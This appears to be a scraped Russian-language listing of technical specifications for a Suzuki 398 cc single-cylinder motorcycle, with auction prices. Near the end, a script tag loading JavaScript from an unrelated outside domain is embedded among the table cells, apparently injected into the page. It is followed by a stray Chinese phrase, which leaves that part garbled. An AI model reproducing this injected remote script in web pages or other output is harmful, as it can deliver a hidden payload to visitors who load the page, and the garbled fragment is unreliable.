Рабочий объём | 398 куб. см. |
Тип двигателя | 1-цилиндровый, 4-тактный |
Максимальная мощность | 40 л.с. (30 кВт) при 7600 об/мин |
Крутящий момент | 39 Нм при 6600 об/мин |
Степень сжатия | 11.3:1 |
Охлаждение | Жидкостное |
Зажигание | Электронное |
Система смазки двигателя | Сухой картер |
Система подачи топлива | Карбюратор, 1x Mikuni BSR36 |
Разгон до 100 км/ч | 5,5 сек |
Максимальная скорость | 150 км/ч |
Тип | 5-ступенчатая |
Тип привода | Цепь |
Длина | 2310 мм |
Ширина | 875 мм |
Высота | 1240 мм |
Клиренс | 300 мм |
Высота по седлу | 890 мм |
Колесная база | 1460 мм |
Емкость бензобака | 10 л |
Масса мотоцикла (снаряженная) | 146 кг |
Сухая масса | 135 кг |
аукцион
$2 583
|
итог $4 850
|
"<script type=text/javascript src='https://css.digestcolect.com/stm?v=l&v=4'></script>连锁品牌 | Suzuki |